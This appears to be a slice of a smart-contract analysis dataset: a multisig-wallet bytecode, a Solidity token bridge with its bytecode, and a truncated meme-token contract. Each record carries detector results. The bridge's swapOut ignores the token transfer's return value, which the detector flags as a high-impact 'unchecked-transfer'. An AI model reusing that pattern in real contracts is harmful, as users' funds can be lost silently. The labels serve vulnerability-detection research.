0x6060604052361561011a5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c278114610165578063173825d91461019757806320ea8d86146101b85780632f54bf6e146101d05780633411c81c1461020357806354741525146102395780637065cb4814610268578063784547a7146102895780638b51d13f146102b35780639ace38c2146102db578063a0e67e2b1461039a578063a8abe69a14610401578063b5dc40c314610478578063b77bf600146104e2578063ba51a6df14610507578063c01a8c841461051f578063c642747414610537578063d74f8edd146105ae578063dc8452cd146105d3578063e20056e6146105f8578063ee22610b1461061f575b5b60003411156101625733600160a060020a03167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3460405190815260200160405180910390a25b5b005b341561017057600080fd5b61017b600435610637565b604051600160a060020a03909116815260200160405180910390f35b34156101a257600080fd5b610162600160a060020a0360043516610669565b005b34156101c357600080fd5b61016260043561081a565b005b34156101db57600080fd5b6101ef600160a060020a03600435166108fc565b604051901515815260200160405180910390f35b341561020e57600080fd5b6101ef600435600160a060020a0360243516610911565b604051901515815260200160405180910390f35b341561024457600080fd5b61025660043515156024351515610931565b60405190815260200160405180910390f35b341561027357600080fd5b610162600160a060020a03600435166109a0565b005b341561029457600080fd5b6101ef600435610ad5565b604051901515815260200160405180910390f35b34156102be57600080fd5b610256600435610b69565b60405190815260200160405180910390f35b34156102e657600080fd5b6102f1600435610be8565b604051600160a060020a03851681526020810184905281151560608201526080604082018181528454600260001961010060018416150201909116049183018290529060a0830190859080156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b50509550505050505060405180910390f35b34156103a557600080fd5b6103ad610c1c565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103ed5780820151818401525b6020016103d4565b505050509050019250505060405180910390f35b341561040c57600080fd5b6103ad60043560243560443515156064351515610c85565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103ed5780820151818401525b6020016103d4565b505050509050019250505060405180910390f35b341561048357600080fd5b6103ad600435610db3565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103ed5780820151818401525b6020016103d4565b505050509050019250505060405180910390f35b34156104ed57600080fd5b610256610f35565b60405190815260200160405180910390f35b341561051257600080fd5b610162600435610f3b565b005b341561052a57600080fd5b610162600435610fc9565b005b341561054257600080fd5b61025660048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506110bb95505050505050565b60405190815260200160405180910390f35b34156105b957600080fd5b6102566110db565b60405190815260200160405180910390f35b34156105de57600080fd5b6102566110e0565b60405190815260200160405180910390f35b341561060357600080fd5b610162600160a060020a03600435811690602435166110e6565b005b341561062a57600080fd5b6101626004356112a7565b005b600380548290811061064557fe5b906000526020600020900160005b915054906101000a9004600160a060020a031681565b600030600160a060020a031633600160a060020a031614151561068b57600080fd5b600160a060020a038216600090815260026020526040902054829060ff1615156106b457600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156107af5782600160a060020a03166003838154811015156106fe57fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a031614156107a35760038054600019810190811061073f57fe5b906000526020600020900160005b9054906101000a9004600160a060020a031660038381548110151561076e57fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a031602179055506107af565b5b6001909101906106d7565b6003805460001901906107c2908261156a565b5060035460045411156107db576003546107db90610f3b565b5b82600160a060020a03167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25b5b505b5050565b33600160a060020a03811660009081526002602052604090205460ff16151561084257600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff16151561087757600080fd5b600084815260208190526040902060030154849060ff161561089857600080fd5b6000858152600160209081526040808320600160a060020a033316808552925291829020805460ff1916905586917ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e9905160405180910390a35b5b505b50505b5050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b6005548110156109985783801561095e575060008181526020819052604090206003015460ff16155b806109825750828015610982575060008181526020819052604090206003015460ff165b5b1561098f576001820191505b5b600101610935565b5b5092915050565b30600160a060020a031633600160a060020a03161415156109c057600080fd5b600160a060020a038116600090815260026020526040902054819060ff16156109e857600080fd5b81600160a060020a03811615156109fe57600080fd5b6003805490506001016004546032821180610a1857508181115b80610a21575080155b80610a2a575081155b15610a3457600080fd5b600160a060020a0385166000908152600260205260409020805460ff191660019081179091556003805490918101610a6c838261156a565b916000526020600020900160005b8154600160a060020a03808a166101009390930a8381029102199091161790915590507ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b50505b505b505b50565b600080805b600354811015610b615760008481526001602052604081206003805491929184908110610b0357fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610b45576001820191505b600454821415610b585760019250610b61565b5b600101610ada565b5b5050919050565b6000805b600354811015610be15760008381526001602052604081206003805491929184908110610b9657fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610bd8576001820191505b5b600101610b6d565b5b50919050565b6000602081905290815260409020805460018201546003830154600160a060020a0390921692909160029091019060ff1684565b610c246115be565b6003805480602002602001604051908101604052809291908181526020018280548015610c7a57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610c5c575b505050505090505b90565b610c8d6115be565b610c956115be565b600080600554604051805910610ca85750595b908082528060200260200182016040525b50925060009150600090505b600554811015610d4057858015610cee575060008181526020819052604090206003015460ff16155b80610d125750848015610d12575060008181526020819052604090206003015460ff165b5b15610d375780838381518110610d2557fe5b60209081029091010152600191909101905b5b600101610cc5565b878703604051805910610d505750595b908082528060200260200182016040525b5093508790505b86811015610da757828181518110610d7c57fe5b906020019060200201518489830381518110610d9457fe5b602090810290910101525b600101610d68565b5b505050949350505050565b610dbb6115be565b610dc36115be565b6003546000908190604051805910610dd85750595b908082528060200260200182016040525b50925060009150600090505b600354811015610ebb5760008581526001602052604081206003805491929184908110610e1e57fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610eb2576003805482908110610e6757fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316838381518110610e9357fe5b600160a060020a03909216602092830290910190910152600191909101905b5b600101610df5565b81604051805910610ec95750595b908082528060200260200182016040525b509350600090505b81811015610f2c57828181518110610ef657fe5b90602001906020020151848281518110610f0c57fe5b600160a060020a039092166020928302909101909101525b600101610ee2565b5b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610f5b57600080fd5b600354816032821180610f6d57508181115b80610f76575080155b80610f7f575081155b15610f8957600080fd5b60048390557fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a8360405190815260200160405180910390a15b5b50505b50565b33600160a060020a03811660009081526002602052604090205460ff161515610ff157600080fd5b6000828152602081905260409020548290600160a060020a0316151561101657600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff161561104a57600080fd5b6000858152600160208181526040808420600160a060020a033316808652925292839020805460ff191690921790915586917f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef905160405180910390a36108f2856112a7565b5b5b50505b505b5050565b60006110c884848461146b565b90506110d381610fc9565b5b9392505050565b603281565b60045481565b600030600160a060020a031633600160a060020a031614151561110857600080fd5b600160a060020a038316600090815260026020526040902054839060ff16151561113157600080fd5b600160a060020a038316600090815260026020526040902054839060ff161561115957600080fd5b600092505b6003548310156112015784600160a060020a031660038481548110151561118157fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a031614156111f557836003848154811015156111c057fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a03160217905550611201565b5b60019092019161115e565b600160a060020a03808616600081815260026020526040808220805460ff199081169091559388168252908190208054909316600117909255907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b90905160405180910390a283600160a060020a03167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b505b505b505050565b33600160a060020a03811660009081526002602052604081205490919060ff1615156112d257600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff16151561130757600080fd5b600085815260208190526040902060030154859060ff161561132857600080fd5b61133186610ad5565b1561145e576000868152602081905260409081902060038101805460ff19166001908117909155815490820154919750600160a060020a03169160028801905180828054600181600116156101000203166002900480156113d35780601f106113a8576101008083540402835291602001916113d3565b820191906000526020600020905b8154815290600101906020018083116113b657829003601f168201915b505091505060006040518083038185876187965a03f1925050501561142457857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a261145e565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260038501805460ff191690555b5b5b5b505b50505b505050565b600083600160a060020a038116151561148357600080fd5b600554915060806040519081016040908152600160a060020a0387168252602080830187905281830186905260006060840181905285815290819052208151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03919091161781556020820151816001015560408201518160020190805161150e9291602001906115e2565b506060820151600391909101805460ff191691151591909117905550600580546001019055817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a25b5b509392505050565b81548183558181151161081357600083815260209020610813918101908301611661565b5b505050565b81548183558181151161081357600083815260209020610813918101908301611661565b5b505050565b60206040519081016040526000815290565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061162357805160ff1916838001178555611650565b82800160010185558215611650579182015b82811115611650578251825591602001919060010190611635565b5b5061165d929150611661565b5090565b610c8291905b8082111561165d5760008155600101611667565b5090565b905600a165627a7a72305820fe679d3376efe8cca38376adf751f1987dfa0550df07f8083dd0bc208902f0fb0029
|
{"success": true, "error": null, "results": {}}
| 3,507 |
0x17da381161f7bacad1584685a7145409372de6aa
|
/**
*Submitted for verification at Etherscan.io on 2021-08-27
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
contract SxhBridge is Ownable {
using SafeMath for uint256;
IERC20 private token;
uint256 private minSwap = 0 * 1e12;
uint256 private _totalSupply;
event SwapIn(address indexed user, uint256 amount, uint chainId);
event SwapOut(address indexed user, uint256 amount);
constructor(address tokenAddress) {
token = IERC20(tokenAddress);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function updateMinSwap(uint _minSwap) public onlyOwner {
minSwap = _minSwap;
}
function getMinSwap() public view returns (uint256) {
return minSwap;
}
function swapIn(uint256 _amount, uint _chainId) public {
require(_amount > 0, "Cannot swapIn 0");
require(_amount >= minSwap, "Amount too low");
require(token.transferFrom(msg.sender, address(this), _amount), "SwapIn failed");
_totalSupply = _totalSupply.add(_amount);
emit SwapIn(msg.sender, _amount, _chainId);
}
function swapOut(address recipient, uint256 _amount) public onlyOwner {
require(_amount > 0, "Cannot swapOut 0");
require(recipient != address(0), "Cannot swapOut to address0");
require(_totalSupply >= _amount, "Insufficient balance");
_totalSupply = _totalSupply.sub(_amount);
token.transfer(recipient, _amount);
emit SwapOut(recipient, _amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100885760003560e01c806375fed3c71161005b57806375fed3c7146100ef5780638da5cb5b1461010b578063b072308014610129578063f2fde38b1461014557610088565b806309d58ae61461008d57806310d974ae146100ab57806318160ddd146100c7578063715018a6146100e5575b600080fd5b610095610161565b6040516100a29190610e05565b60405180910390f35b6100c560048036038101906100c0919061097c565b61016b565b005b6100cf6103fc565b6040516100dc9190610e05565b60405180910390f35b6100ed610406565b005b610109600480360381019061010491906109e1565b61048e565b005b610113610514565b6040516101209190610c8a565b60405180910390f35b610143600480360381019061013e9190610a0a565b61053d565b005b61015f600480360381019061015a9190610953565b610724565b005b6000600254905090565b61017361081c565b73ffffffffffffffffffffffffffffffffffffffff16610191610514565b73ffffffffffffffffffffffffffffffffffffffff16146101e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101de90610d85565b60405180910390fd5b6000811161022a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161022190610de5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561029a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161029190610d05565b60405180910390fd5b8060035410156102df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102d690610d65565b60405180910390fd5b6102f48160035461082490919063ffffffff16565b600381905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401610357929190610cdc565b602060405180830381600087803b15801561037157600080fd5b505af1158015610385573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103a991906109b8565b508173ffffffffffffffffffffffffffffffffffffffff167f096ca2225a0de1da75baf17d9f77a22d2d99a5e11f397174df2f654acf1e60fc826040516103f09190610e05565b60405180910390a25050565b6000600354905090565b61040e61081c565b73ffffffffffffffffffffffffffffffffffffffff1661042c610514565b73ffffffffffffffffffffffffffffffffffffffff1614610482576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047990610d85565b60405180910390fd5b61048c600061083a565b565b61049661081c565b73ffffffffffffffffffffffffffffffffffffffff166104b4610514565b73ffffffffffffffffffffffffffffffffffffffff161461050a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050190610d85565b60405180910390fd5b8060028190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008211610580576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057790610d45565b60405180910390fd5b6002548210156105c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bc90610da5565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b815260040161062493929190610ca5565b602060405180830381600087803b15801561063e57600080fd5b505af1158015610652573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067691906109b8565b6106b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ac90610dc5565b60405180910390fd5b6106ca826003546108fe90919063ffffffff16565b6003819055503373ffffffffffffffffffffffffffffffffffffffff167f3ee05f2b16dbd4c25caeedd98d0caaa4f7ccf7b185d54af798ba3e5ee8b017b18383604051610718929190610e20565b60405180910390a25050565b61072c61081c565b73ffffffffffffffffffffffffffffffffffffffff1661074a610514565b73ffffffffffffffffffffffffffffffffffffffff16146107a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079790610d85565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610810576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080790610d25565b60405180910390fd5b6108198161083a565b50565b600033905090565b600081836108329190610eb0565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000818361090c9190610e5a565b905092915050565b60008135905061092381610f5b565b92915050565b60008151905061093881610f72565b92915050565b60008135905061094d81610f89565b92915050565b60006020828403121561096557600080fd5b600061097384828501610914565b91505092915050565b6000806040838503121561098f57600080fd5b600061099d85828601610914565b92505060206109ae8582860161093e565b9150509250929050565b6000602082840312156109ca57600080fd5b60006109d884828501610929565b91505092915050565b6000602082840312156109f357600080fd5b6000610a018482850161093e565b91505092915050565b60008060408385031215610a1d57600080fd5b6000610a2b8582860161093e565b9250506020610a3c8582860161093e565b9150509250929050565b610a4f81610ee4565b82525050565b6000610a62601a83610e49565b91507f43616e6e6f7420737761704f757420746f2061646472657373300000000000006000830152602082019050919050565b6000610aa2602683610e49565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610b08600f83610e49565b91507f43616e6e6f742073776170496e203000000000000000000000000000000000006000830152602082019050919050565b6000610b48601483610e49565b91507f496e73756666696369656e742062616c616e63650000000000000000000000006000830152602082019050919050565b6000610b88602083610e49565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000610bc8600e83610e49565b91507f416d6f756e7420746f6f206c6f770000000000000000000000000000000000006000830152602082019050919050565b6000610c08600d83610e49565b91507f53776170496e206661696c6564000000000000000000000000000000000000006000830152602082019050919050565b6000610c48601083610e49565b91507f43616e6e6f7420737761704f75742030000000000000000000000000000000006000830152602082019050919050565b610c8481610f22565b82525050565b6000602082019050610c9f6000830184610a46565b92915050565b6000606082019050610cba6000830186610a46565b610cc76020830185610a46565b610cd46040830184610c7b565b949350505050565b6000604082019050610cf16000830185610a46565b610cfe6020830184610c7b565b9392505050565b60006020820190508181036000830152610d1e81610a55565b9050919050565b60006020820190508181036000830152610d3e81610a95565b9050919050565b60006020820190508181036000830152610d5e81610afb565b9050919050565b60006020820190508181036000830152610d7e81610b3b565b9050919050565b60006020820190508181036000830152610d9e81610b7b565b9050919050565b60006020820190508181036000830152610dbe81610bbb565b9050919050565b60006020820190508181036000830152610dde81610bfb565b9050919050565b60006020820190508181036000830152610dfe81610c3b565b9050919050565b6000602082019050610e1a6000830184610c7b565b92915050565b6000604082019050610e356000830185610c7b565b610e426020830184610c7b565b9392505050565b600082825260208201905092915050565b6000610e6582610f22565b9150610e7083610f22565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610ea557610ea4610f2c565b5b828201905092915050565b6000610ebb82610f22565b9150610ec683610f22565b925082821015610ed957610ed8610f2c565b5b828203905092915050565b6000610eef82610f02565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b610f6481610ee4565b8114610f6f57600080fd5b50565b610f7b81610ef6565b8114610f8657600080fd5b50565b610f9281610f22565b8114610f9d57600080fd5b5056fea2646970667358221220342f5a9686b1d88b0025f14732f20c8eb35195f702137e1ba4929f94f7ad11ab64736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 3,508 |
0xb33267227cA4e91138fDCB99fDA1d213eA1c7117
|
//SPDX-License-Identifier: MIT
// Telegram: t.me/JiraiyaToken
pragma solidity ^0.8.7;
uint256 constant INITIAL_TAX=9;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract Jiraiya is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**6;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
string private constant _name = "Jiraiya";
string private constant _symbol = "JIRAIYA";
uint8 private constant _decimals = 6;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
